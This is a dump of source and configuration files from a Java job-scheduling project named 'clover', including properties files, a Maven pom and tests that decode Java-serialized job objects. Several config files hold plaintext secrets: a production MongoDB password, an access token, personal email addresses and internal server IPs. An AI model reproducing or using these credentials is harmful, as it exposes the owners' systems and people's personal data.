name=\"fixedClientIps\" type=\"xsd:string\" use=\"optional\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ 指定客户端IP地址 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n            <xsd:attribute name=\"fixedServerIps\" type=\"xsd:string\" use=\"optional\">\n                <xsd:annotation>\n                    <xsd:documentation><![CDATA[ 指定服务端IP地址 ]]></xsd:documentation>\n                </xsd:annotation>\n            </xsd:attribute>\n        </xsd:complexType>\n    </xsd:element>\n\n</xsd:schema>"
  },
  {
    "path": "clover/clover-core/src/main/resources/META-INF/spring.handlers",
    "content": "http\\://www.gome.com.cn/schema/cloverjob=com.gome.clover.common.annotation.CloverJobNamespaceHandler"
  },
  {
    "path": "clover/clover-core/src/main/resources/META-INF/spring.schemas",
    "content": "http\\://www.gome.com.cn/schema/cloverjob/cloverjob-1.0.0.xsd=META-INF/cloverjob-1.0.0.xsd\nhttp\\:/www.gome.com.cn/schema/cloverjob/cloverjob.xsd=META-INF/cloverjob-1.0.0.xsd"
  },
  {
    "path": "clover/clover-core/src/main/resources/commonConfig.properties",
    "content": "zmqServerPort=1688\r\nserverDifferMilliSeconds=120000\r\nclientDifferMilliSeconds=120000\r\nmonitorDifferMilliSeconds=120000\r\ndefaultCompanyEmail=${clover.common.defaultCompanyEmail}\r\ndefaultPrivateEmail=${clover.common.defaultPrivateEmail}\r\nzmqSleepClientMillis=1000\r\nzmqSleepServerMillis=1000\r\ntoken=${clover.common.token}\r\ndisabledDB=disabledDB\r\npoolSize=100\r\nmaxFailTimes=5\r\nmaxMemRatio=0.95\r\nmaxCpuRatio=0.95\r\nserverJobStrategy=HASH"
  },
  {
    "path": "clover/clover-core/src/main/resources/dev/commonConfig.properties",
    "content": "zmqServerPort=1688\r\nserverDifferMilliSeconds=120000\r\nclientDifferMilliSeconds=120000\r\nmonitorDifferMilliSeconds=120000\r\ndefaultCompanyEmail=xiaoxiangxu@yolo24.com\r\ndefaultPrivateEmail=zhutouzan@163.com\r\nzmqSleepClientMillis=1000\r\nzmqSleepServerMillis=1000\r\ntoken=6fb8535d703f2492704aefc212b7cd41\r\ndisabledDB=disabledDB\r\npoolSize=10\r\nmaxFailTimes=5\r\nmaxMemRatio=0.95\r\nmaxCpuRatio=0.95\r\nserverJobStrategy=HASH"
  },
  {
    "path": "clover/clover-core/src/main/resources/dev/mongoDBConfig.properties",
    "content": "#dev|sit start\r\n#mongoAddress=10.126.53.42:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#dev|sit end\r\n\r\n#uat start\r\n#mongoAddress=10.126.53.38:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#uat end\r\n\r\n#pre start\r\n#mongoAddress=10.126.45.45:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#pre end\r\n\r\n#prd start\r\nmongoAddress=10.58.50.134:27077,10.58.50.133:27077\r\ndbName=spec_pub\r\nuserName=user_spec_pub\r\npassword=SrVlPrIGgu7ZM2Ox\r\n#prd end\r\n\r\nconnectionsPerHost=100\r\nthreadsAllowedToBlockForConnectionMultiplier=10\r\nconnectTimeout=180000\r\nmaxWaitTime=30000\r\nautoConnectRetry=true\r\nsocketKeepAlive=false\r\nsocketTimeout=180000"
  },
  {
    "path": "clover/clover-core/src/main/resources/dev/redisConfig.properties",
    "content": "redis.server = 10.58.50.208\r\nredis.port   = 6379\r\nredis.pool.maxActive = 500\r\nredis.pool.maxIdle = 20\r\nredis.pool.maxWait = 1000"
  },
  {
    "path": "clover/clover-core/src/main/resources/dev/zkConfig.properties",
    "content": "zkConnectString=10.58.50.206:2181,10.58.50.207:2181,10.58.50.208:2181\r\nrootPath=/clover\r\nzkSessionTimeout=3000\r\nuserName=${clover.zk.userName}\r\npassword=${clover.zk.password}"
  },
  {
    "path": "clover/clover-core/src/main/resources/mongoDBConfig.properties",
    "content": "mongoAddress=${clover.mongoDB.mongoAddress}\r\ndbName=${clover.mongoDB.dbName}\r\nuserName=${clover.mongoDB.userName}\r\npassword=${clover.mongoDB.password}\r\nconnectionsPerHost=${clover.mongoDB.connectionsPerHost}\r\nthreadsAllowedToBlockForConnectionMultiplier=${clover.mongoDB.threadsAllowedToBlockForConnectionMultiplier}\r\nconnectTimeout=${clover.mongoDB.connectTimeout}\r\nmaxWaitTime=${clover.mongoDB.maxWaitTime}\r\nautoConnectRetry=${clover.mongoDB.autoConnectRetry}\r\nsocketKeepAlive=${clover.mongoDB.socketKeepAlive}\r\nsocketTimeout=${clover.mongoDB.socketTimeout}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/resources/redisConfig.properties",
    "content": "redis.server=${clover.redis.server}\r\nredis.port=${clover.redis.port}\r\nredis.pool.maxActive=${clover.redis.pool.maxActive}\r\nredis.pool.maxIdle=${clover.redis.pool.maxIdle}\r\nredis.pool.maxWait=${clover.redis.pool.maxWait}"
  },
  {
    "path": "clover/clover-core/src/main/resources/uat/commonConfig.properties",
    "content": "zmqServerPort=1688\r\nserverDifferMilliSeconds=120000\r\nclientDifferMilliSeconds=120000\r\nmonitorDifferMilliSeconds=120000\r\ndefaultCompanyEmail=xiaoxiangxu@yolo24.com\r\ndefaultPrivateEmail=zhutouzan@163.com\r\nzmqSleepClientMillis=1000\r\nzmqSleepServerMillis=1000\r\ntoken=6fb8535d703f2492704aefc212b7cd41\r\ndisabledDB=disabledDB\r\npoolSize=10\r\nmaxFailTimes=5\r\nmaxMemRatio=0.95\r\nmaxCpuRatio=0.95\r\nserverJobStrategy=HASH"
  },
  {
    "path": "clover/clover-core/src/main/resources/uat/mongoDBConfig.properties",
    "content": "#dev|sit start\r\n#mongoAddress=10.126.53.42:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#dev|sit end\r\n\r\n#uat start\r\n#mongoAddress=10.126.53.38:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#uat end\r\n\r\n#pre start\r\n#mongoAddress=10.126.45.45:27067\r\n#dbName=spec_pub\r\n#userName=user_spec_pub\r\n#password=user_spec_pub_pass\r\n#pre end\r\n\r\n#prd start\r\nmongoAddress=10.58.50.134:27077,10.58.50.133:27077\r\ndbName=spec_pub\r\nuserName=user_spec_pub\r\npassword=SrVlPrIGgu7ZM2Ox\r\n#prd end\r\n\r\nconnectionsPerHost=100\r\nthreadsAllowedToBlockForConnectionMultiplier=10\r\nconnectTimeout=180000\r\nmaxWaitTime=30000\r\nautoConnectRetry=true\r\nsocketKeepAlive=false\r\nsocketTimeout=180000"
  },
  {
    "path": "clover/clover-core/src/main/resources/uat/redisConfig.properties",
    "content": "redis.server = 10.58.50.208\r\nredis.port   = 6379\r\nredis.pool.maxActive = 500\r\nredis.pool.maxIdle = 20\r\nredis.pool.maxWait = 1000"
  },
  {
    "path": "clover/clover-core/src/main/resources/uat/zkConfig.properties",
    "content": "#zkConnectString=localhost:2181\r\n#zkConnectString=10.126.53.170:2181,10.126.53.168:2181,10.126.53.169:2181\r\n#zkConnectString=10.58.22.191:2181,10.58.22.192:2181,10.58.22.193:2181,10.58.50.149:2181,10.58.50.150:2181\r\nzkConnectString=${clover.zk.address}\r\nrootPath=${clover.zk.rootPath}\r\nzkSessionTimeout=${clover.zk.zkSessionTimeout}\r\nuserName=${clover.zk.userName}\r\npassword=${clover.zk.password}"
  },
  {
    "path": "clover/clover-core/src/main/resources/zkConfig.properties",
    "content": "zkConnectString=${clover.zk.address}\r\nrootPath=${clover.zk.rootPath}\r\nzkSessionTimeout=${clover.zk.zkSessionTimeout}\r\nuserName=${clover.zk.userName}\r\npassword=${clover.zk.password}"
  },
  {
    "path": "clover/clover-examples/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\r\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\r\n    <modelVersion>4.0.0</modelVersion>\r\n    <parent>\r\n        <groupId>com.gome</groupId>\r\n        <artifactId>clover</artifactId>\r\n        <version>1.0</version>\r\n    </parent>\r\n\r\n    <groupId>com.gome</groupId>\r\n    <artifactId>clover-examples</artifactId>\r\n    <version>${clover.version}</version>\r\n    <packaging>jar</packaging>\r\n\r\n    <build>\r\n        <finalName>clover-examples-${clover.version}</finalName>\r\n        <resources>\r\n            <resource>\r\n                <directory>src/main/resources</directory>\r\n                <filtering>true</filtering>\r\n            </resource>\r\n        </resources>\r\n    </build>\r\n\r\n    <dependencies>\r\n        <dependency>\r\n            <groupId>com.gome</groupId>\r\n            <artifactId>clover-client</artifactId>\r\n            <version>${clover.version}</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>junit</groupId>\r\n            <artifactId>junit</artifactId>\r\n            <version>4.11</version>\r\n            <scope>compile</scope>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.typesafe.akka</groupId>\r\n            <artifactId>akka-zeromq_2.10</artifactId>\r\n            <version>2.1.0</version>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.typesafe.akka</groupId>\r\n            <artifactId>akka-zeromq_2.11</artifactId>\r\n            <version>2.3.7</version>\r\n            <exclusions>\r\n                <exclusion>\r\n                    <groupId>com.typesafe.akka</groupId>\r\n                    <artifactId>akka-actor_2.11</artifactId>\r\n                </exclusion>\r\n            </exclusions>\r\n        </dependency>\r\n        <dependency>\r\n            <groupId>com.typesafe.akka</groupId>\r\n            <artifactId>akka-actor</artifactId>\r\n            <version>2.0.2</version>\r\n        </dependency>\r\n    </dependencies>\r\n\r\n</project>"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/DeleteGomeVipAdPlanJob.java",
    "content": "package com.gome.clover;\r\n\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/5\r\n * Time: 5:06\r\n */\r\npublic class DeleteGomeVipAdPlanJob implements Job {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/ObjectToByte.java",
    "content": "package com.gome.clover;\r\n\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.gome.clover.job.MyJob;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.junit.Test;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/30\r\n * Time: 10:48\r\n */\r\npublic class ObjectToByte {\r\n    @Test\r\n    public  void toObj(){\r\n        String msg=\"rO0ABXNyACJjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuU2VydmVySm9its+L9tdn6kgCAAB4cgAi\\n\" +\r\n                \"Y29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYg0GalC4zmMwAgAJTAALZXhlY3V0ZVR5\\n\" +\r\n                \"cGV0ADBMY29tL2dvbWUvY2xvdmVyL2NvcmUvam9iL0NsaWVudEpvYiRFeGVjdXRlVHlwZTtbAA5m\\n\" +\r\n                \"aXhlZENsaWVudElwc3QAE1tMamF2YS9sYW5nL1N0cmluZztbAA5maXhlZFNlcnZlcklwc3EAfgAD\\n\" +\r\n                \"TAACaXB0ABJMamF2YS9sYW5nL1N0cmluZztMAAhqb2JDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7\\n\" +\r\n                \"TAAMam9iQ2xhc3NOYW1lcQB+AARMAAlqb2JEZXRhaWx0ABZMb3JnL3F1YXJ0ei9Kb2JEZXRhaWw7\\n\" +\r\n                \"TAAHam9iVHlwZXQALExjb20vZ29tZS9jbG92ZXIvY29yZS9qb2IvQ2xpZW50Sm9iJEpvYlR5cGU7\\n\" +\r\n                \"TAAHdHJpZ2dlcnQAFExvcmcvcXVhcnR6L1RyaWdnZXI7eHB+cgAuY29tLmdvbWUuY2xvdmVyLmNv\\n\" +\r\n                \"cmUuam9iLkNsaWVudEpvYiRFeGVjdXRlVHlwZQAAAAAAAAAAEgAAeHIADmphdmEubGFuZy5FbnVt\\n\" +\r\n                \"AAAAAAAAAAASAAB4cHQAA0FERHBwdAANMTAuMTQ0LjMzLjIxMnB0ACZjb20uZ29tZS5jbG92ZXIu\\n\" +\r\n                \"Y29yZS5qb2IuY2xpZW50Lk15Sm9iMXNyAB1vcmcucXVhcnR6LmltcGwuSm9iRGV0YWlsSW1wbKvD\\n\" +\r\n                \"yuwBWlSvAgAHWgAKZHVyYWJpbGl0eVoADXNob3VsZFJlY292ZXJMAAtkZXNjcmlwdGlvbnEAfgAE\\n\" +\r\n                \"TAAFZ3JvdXBxAH4ABEwACGpvYkNsYXNzcQB+AAVMAApqb2JEYXRhTWFwdAAXTG9yZy9xdWFydHov\\n\" +\r\n                \"Sm9iRGF0YU1hcDtMAARuYW1lcQB+AAR4cAAAcHQAC3JlbW90ZS1qb2JzdnEAfgAAc3IAFW9yZy5x\\n\" +\r\n                \"dWFydHouSm9iRGF0YU1hcJ+wg+i/qbDLAgAAeHIAJm9yZy5xdWFydHoudXRpbHMuU3RyaW5nS2V5\\n\" +\r\n                \"RGlydHlGbGFnTWFwggjow/vFXSgCAAFaABNhbGxvd3NUcmFuc2llbnREYXRheHIAHW9yZy5xdWFy\\n\" +\r\n                \"dHoudXRpbHMuRGlydHlGbGFnTWFwE+YurSh2Cs4CAAJaAAVkaXJ0eUwAA21hcHQAD0xqYXZhL3V0\\n\" +\r\n                \"aWwvTWFwO3hwAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkA\\n\" +\r\n                \"CXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHam9iSW5mb3NxAH4AAXEAfgAMcHBxAH4A\\n\" +\r\n                \"DnZyACZjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuY2xpZW50Lk15Sm9iMShpJZ9gwd+ZAgAAeHBx\\n\" +\r\n                \"AH4AD3NxAH4AEAAAcHQAB0RFRkFVTFRxAH4AH3B0AAVNeUpvYn5yACpjb20uZ29tZS5jbG92ZXIu\\n\" +\r\n                \"Y29yZS5qb2IuQ2xpZW50Sm9iJEpvYlR5cGUAAAAAAAAAABIAAHhxAH4AC3QABlJFTU9URXNyAChv\\n\" +\r\n                \"cmcucXVhcnR6LmltcGwudHJpZ2dlcnMuQ3JvblRyaWdnZXJJbXBsiAb06o3becICAAVMAAZjcm9u\\n\" +\r\n                \"RXh0ABtMb3JnL3F1YXJ0ei9Dcm9uRXhwcmVzc2lvbjtMAAdlbmRUaW1ldAAQTGphdmEvdXRpbC9E\\n\" +\r\n                \"YXRlO0wADG5leHRGaXJlVGltZXEAfgAoTAAQcHJldmlvdXNGaXJlVGltZXEAfgAoTAAJc3RhcnRU\\n\" +\r\n                \"aW1lcQB+ACh4cgAob3JnLnF1YXJ0ei5pbXBsLnRyaWdnZXJzLkFic3RyYWN0VHJpZ2dlcsnRVzsN\\n\" +\r\n                \"4PXuAgALSQASbWlzZmlyZUluc3RydWN0aW9uSQAIcHJpb3JpdHlaAAp2b2xhdGlsaXR5TAAMY2Fs\\n\" +\r\n                \"ZW5kYXJOYW1lcQB+AARMAAtkZXNjcmlwdGlvbnEAfgAETAAOZmlyZUluc3RhbmNlSWRxAH4ABEwA\\n\" +\r\n                \"BWdyb3VwcQB+AARMAApqb2JEYXRhTWFwcQB+ABFMAAhqb2JHcm91cHEAfgAETAAHam9iTmFtZXEA\\n\" +\r\n                \"fgAETAAEbmFtZXEAfgAEeHAAAAAAAAAABQBwcHBxAH4AIXBxAH4AIXB0AAd0cmlnZ2Vyc3IAGW9y\\n\" +\r\n                \"Zy5xdWFydHouQ3JvbkV4cHJlc3Npb24AAAAC5H4vDwIAAkwADmNyb25FeHByZXNzaW9ucQB+AARM\\n\" +\r\n                \"AAh0aW1lWm9uZXQAFExqYXZhL3V0aWwvVGltZVpvbmU7eHB0AA4wLzEwICogKiAqICogP3NyABpz\\n\" +\r\n                \"dW4udXRpbC5jYWxlbmRhci5ab25lSW5mbyTR084AHXGbAgAISQAIY2hlY2tzdW1JAApkc3RTYXZp\\n\" +\r\n                \"bmdzSQAJcmF3T2Zmc2V0SQANcmF3T2Zmc2V0RGlmZloAE3dpbGxHTVRPZmZzZXRDaGFuZ2VbAAdv\\n\" +\r\n                \"ZmZzZXRzdAACW0lbABRzaW1wbGVUaW1lWm9uZVBhcmFtc3EAfgAxWwALdHJhbnNpdGlvbnN0AAJb\\n\" +\r\n                \"SnhyABJqYXZhLnV0aWwuVGltZVpvbmUxs+n1d0SsoQIAAUwAAklEcQB+AAR4cHQADUFzaWEvU2hh\\n\" +\r\n                \"bmdoYWkEKEHsAAAAAAG3dAAAAAAAAHVyAAJbSU26YCZ26rKlAgAAeHAAAAAEAbd0AAG80wAB7mKA\\n\" +\r\n                \"ADbugHB1cgACW0p4IAS1ErF1kwIAAHhwAAAAE//f2uAdwAAB/+y2KMAQAAD/8mp2XcAAMv/ykRKg\\n\" +\r\n                \"2AAA//LGhApAADL/8waNs5gAAAAHgHYvAAAyAAerQZzYAAAAB+7cg0AAMgAIIGpJ2AAAAAhkBTBA\\n\" +\r\n                \"ADIACJWS9tgAAAAI226lgAAyAAkM/GwYAAAACVCXUoAAMgAJgiUZGAAAAAnFv/+AADIACfdNxhgA\\n\" +\r\n                \"AAAexJMywAAAcHBwc3IADmphdmEudXRpbC5EYXRlaGqBAUtZdBkDAAB4cHcIAAABSf6cuCB4eAB0\\n\" +\r\n                \"AA1ERUZBVUxULk15Sm9icQB+ACRzcQB+ACYAAAAAAAAABQBwcHBxAH4AE3BxAH4AE3QADURFRkFV\\n\" +\r\n                \"TFQuTXlKb2J0AA1ERUZBVUxULk15Sm9ic3EAfgAsdAAOMC8xMCAqICogKiAqID9zcQB+ADB0AA1B\\n\" +\r\n                \"c2lhL1NoYW5naGFpBChB7AAAAAABt3QAAAAAAAB1cQB+ADYAAAAEAbd0AAG80wAB7mKAADbugHB1\\n\" +\r\n                \"cQB+ADgAAAAT/9/a4B3AAAH/7LYowBAAAP/yanZdwAAy//KREqDYAAD/8saECkAAMv/zBo2zmAAA\\n\" +\r\n                \"AAeAdi8AADIAB6tBnNgAAAAH7tyDQAAyAAggaknYAAAACGQFMEAAMgAIlZL22AAAAAjbbqWAADIA\\n\" +\r\n                \"CQz8bBgAAAAJUJdSgAAyAAmCJRkYAAAACcW//4AAMgAJ903GGAAAAB7EkzLAAABwcHBzcQB+ADp3\\n\" +\r\n                \"CAAAAUn+nLggeA==\";\r\n        ServerJob serverJob = (ServerJob) ClassUtil.BytesToObject(Base64.decodeBase64(msg));\r\n        System.err.println(\"server:\"+serverJob);\r\n        ClientJob clientJob = (ClientJob) serverJob.getJobDetail().getJobDataMap().get(CommonConstants.CLIENT_JOB_INFO);\r\n        serverJob.getJobDetail().getJobDataMap().put(CommonConstants.CLIENT_JOB_INFO,Base64.encodeBase64String(ClassUtil.ObjectToBytes(clientJob))) ;\r\n        String newMsg=     Base64.encodeBase64String(ClassUtil.ObjectToBytes(serverJob));\r\n        System.err.println(\"newMsg:\"+newMsg);\r\n\r\n    }\r\n    @Test\r\n    public  void toObj1(){\r\n        String msg=\"rO0ABXNyACJjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuQ2xpZW50Sm9iDQZqULjOYzACAApaABJp\\n\" +\r\n                \"c1JlY292ZXJKb2JGcm9tREJMAAtleGVjdXRlVHlwZXQAMExjb20vZ29tZS9jbG92ZXIvY29yZS9q\\n\" +\r\n                \"b2IvQ2xpZW50Sm9iJEV4ZWN1dGVUeXBlO1sADmZpeGVkQ2xpZW50SXBzdAATW0xqYXZhL2xhbmcv\\n\" +\r\n                \"U3RyaW5nO1sADmZpeGVkU2VydmVySXBzcQB+AAJMAAJpcHQAEkxqYXZhL2xhbmcvU3RyaW5nO0wA\\n\" +\r\n                \"CGpvYkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAxqb2JDbGFzc05hbWVxAH4AA0wACWpvYkRl\\n\" +\r\n                \"dGFpbHQAFkxvcmcvcXVhcnR6L0pvYkRldGFpbDtMAAdqb2JUeXBldAAsTGNvbS9nb21lL2Nsb3Zl\\n\" +\r\n                \"ci9jb3JlL2pvYi9DbGllbnRKb2IkSm9iVHlwZTtMAAd0cmlnZ2VydAAUTG9yZy9xdWFydHovVHJp\\n\" +\r\n                \"Z2dlcjt4cAF+cgAuY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYiRFeGVjdXRlVHlw\\n\" +\r\n                \"ZQAAAAAAAAAAEgAAeHIADmphdmEubGFuZy5FbnVtAAAAAAAAAAASAAB4cHQABlVQREFURXBwdAAK\\n\" +\r\n                \"MTAuNTguMTEuMXZyADZjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuY2xpZW50LkRlbGV0ZUdvbWVW\\n\" +\r\n                \"aXBBZFBsYW5Kb2IAAAAAAAAAAAAAAHhwdAA2Y29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLmNsaWVu\\n\" +\r\n                \"dC5EZWxldGVHb21lVmlwQWRQbGFuSm9ic3IAHW9yZy5xdWFydHouaW1wbC5Kb2JEZXRhaWxJbXBs\\n\" +\r\n                \"q8PK7AFaVK8CAAdaAApkdXJhYmlsaXR5WgANc2hvdWxkUmVjb3ZlckwAC2Rlc2NyaXB0aW9ucQB+\\n\" +\r\n                \"AANMAAVncm91cHEAfgADTAAIam9iQ2xhc3NxAH4ABEwACmpvYkRhdGFNYXB0ABdMb3JnL3F1YXJ0\\n\" +\r\n                \"ei9Kb2JEYXRhTWFwO0wABG5hbWVxAH4AA3hwAABwdAADZ2NjcQB+AA9zcgAVb3JnLnF1YXJ0ei5K\\n\" +\r\n                \"b2JEYXRhTWFwn7CD6L+psMsCAAB4cgAmb3JnLnF1YXJ0ei51dGlscy5TdHJpbmdLZXlEaXJ0eUZs\\n\" +\r\n                \"YWdNYXCCCOjD+8VdKAIAAVoAE2FsbG93c1RyYW5zaWVudERhdGF4cgAdb3JnLnF1YXJ0ei51dGls\\n\" +\r\n                \"cy5EaXJ0eUZsYWdNYXAT5i6tKHYKzgIAAloABWRpcnR5TAADbWFwdAAPTGphdmEvdXRpbC9NYXA7\\n\" +\r\n                \"eHABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo\\n\" +\r\n                \"b2xkeHA/QAAAAAAADHcIAAAAEAAAAAJ0AARhZElkdAAVdGJsXzE0MTc2NjA4MzQxMjgxNTI3dAAG\\n\" +\r\n                \"YWRDb2RldAALc2lkZUZvY3VzQWR4AHQALERlbGV0ZUdvbWVWaXBBZFBsYW5Kb2JAdGJsXzE0MTc2\\n\" +\r\n                \"NjA4MzQxMjgxNTI3fnIAKmNvbS5nb21lLmNsb3Zlci5jb3JlLmpvYi5DbGllbnRKb2IkSm9iVHlw\\n\" +\r\n                \"ZQAAAAAAAAAAEgAAeHEAfgAKdAAFTE9DQUxzcgAqb3JnLnF1YXJ0ei5pbXBsLnRyaWdnZXJzLlNp\\n\" +\r\n                \"bXBsZVRyaWdnZXJJbXBszCch6qQCbqMCAAhaAAhjb21wbGV0ZUkAC3JlcGVhdENvdW50SgAOcmVw\\n\" +\r\n                \"ZWF0SW50ZXJ2YWxJAA50aW1lc1RyaWdnZXJlZEwAB2VuZFRpbWV0ABBMamF2YS91dGlsL0RhdGU7\\n\" +\r\n                \"TAAMbmV4dEZpcmVUaW1lcQB+ACVMABBwcmV2aW91c0ZpcmVUaW1lcQB+ACVMAAlzdGFydFRpbWVx\\n\" +\r\n                \"AH4AJXhyAChvcmcucXVhcnR6LmltcGwudHJpZ2dlcnMuQWJzdHJhY3RUcmlnZ2VyydFXOw3g9e4C\\n\" +\r\n                \"AAtJABJtaXNmaXJlSW5zdHJ1Y3Rpb25JAAhwcmlvcml0eVoACnZvbGF0aWxpdHlMAAxjYWxlbmRh\\n\" +\r\n                \"ck5hbWVxAH4AA0wAC2Rlc2NyaXB0aW9ucQB+AANMAA5maXJlSW5zdGFuY2VJZHEAfgADTAAFZ3Jv\\n\" +\r\n                \"dXBxAH4AA0wACmpvYkRhdGFNYXBxAH4AEkwACGpvYkdyb3VwcQB+AANMAAdqb2JOYW1lcQB+AANM\\n\" +\r\n                \"AARuYW1lcQB+AAN4cAAAAAAAAAAFAHBwcHEAfgAUcHEAfgAUcQB+ACBxAH4AIAAAAAAAAAAAAAAA\\n\" +\r\n                \"AAAAAAAAcHNyABJqYXZhLnNxbC5UaW1lc3RhbXAmGNXIAVO/ZQIAAUkABW5hbm9zeHIADmphdmEu\\n\" +\r\n                \"dXRpbC5EYXRlaGqBAUtZdBkDAAB4cHcIAAABSi0lgAB4AAAAAHBxAH4AKg==\\n\";\r\n        ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64(msg));\r\n        System.err.println(\"server:\"+clientJob);\r\n\r\n\r\n    }\r\n    @Test\r\n    public void testNewMsg(){\r\n        String newMsg=\"rO0ABXNyACJjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuU2VydmVySm9its+L9tdn6kgCAAB4cgAiY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYg0GalC4zmMwAgAJTAALZXhlY3V0ZVR5cGV0ADBMY29tL2dvbWUvY2xvdmVyL2NvcmUvam9iL0NsaWVudEpvYiRFeGVjdXRlVHlwZTtbAA5maXhlZENsaWVudElwc3QAE1tMamF2YS9sYW5nL1N0cmluZztbAA5maXhlZFNlcnZlcklwc3EAfgADTAACaXB0ABJMamF2YS9sYW5nL1N0cmluZztMAAhqb2JDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAMam9iQ2xhc3NOYW1lcQB+AARMAAlqb2JEZXRhaWx0ABZMb3JnL3F1YXJ0ei9Kb2JEZXRhaWw7TAAHam9iVHlwZXQALExjb20vZ29tZS9jbG92ZXIvY29yZS9qb2IvQ2xpZW50Sm9iJEpvYlR5cGU7TAAHdHJpZ2dlcnQAFExvcmcvcXVhcnR6L1RyaWdnZXI7eHB+cgAuY29tLmdvbWUuY2xvdmVyLmNvcmUuam9iLkNsaWVudEpvYiRFeGVjdXRlVHlwZQAAAAAAAAAAEgAAeHIADmphdmEubGFuZy5FbnVtAAAAAAAAAAASAAB4cHQAA0FERHBwdAANMTAuMTQ0LjMzLjIxMnB0ACZjb20uZ29tZS5jbG92ZXIuY29yZS5qb2IuY2xpZW50Lk15Sm9iMXNyAB1vcmcucXVhcnR6LmltcGwuSm9iRGV0YWlsSW1wbKvDyuwBWlSvAgAHWgAKZHVyYWJpbGl0eVoADXNob3VsZFJlY292ZXJMAAtkZXNjcmlwdGlvbnEAfgAETAAFZ3JvdXBxAH4ABEwACGpvYkNsYXNzcQB+AAVMAApqb2JEYXRhTWFwdAAXTG9yZy9xdWFydHovSm9iRGF0YU1hcDtMAARuYW1lcQB+AAR4cAAAcHQAC3JlbW90ZS1qb2JzdnEAfgAAc3IAFW9yZy5xdWFydHouSm9iRGF0YU1hcJ+wg+i/qbDLAgAAeHIAJm9yZy5xdWFydHoudXRpbHMuU3RyaW5nS2V5RGlydHlGbGFnTWFwggjow/vFXSgCAAFaABNhbGxvd3N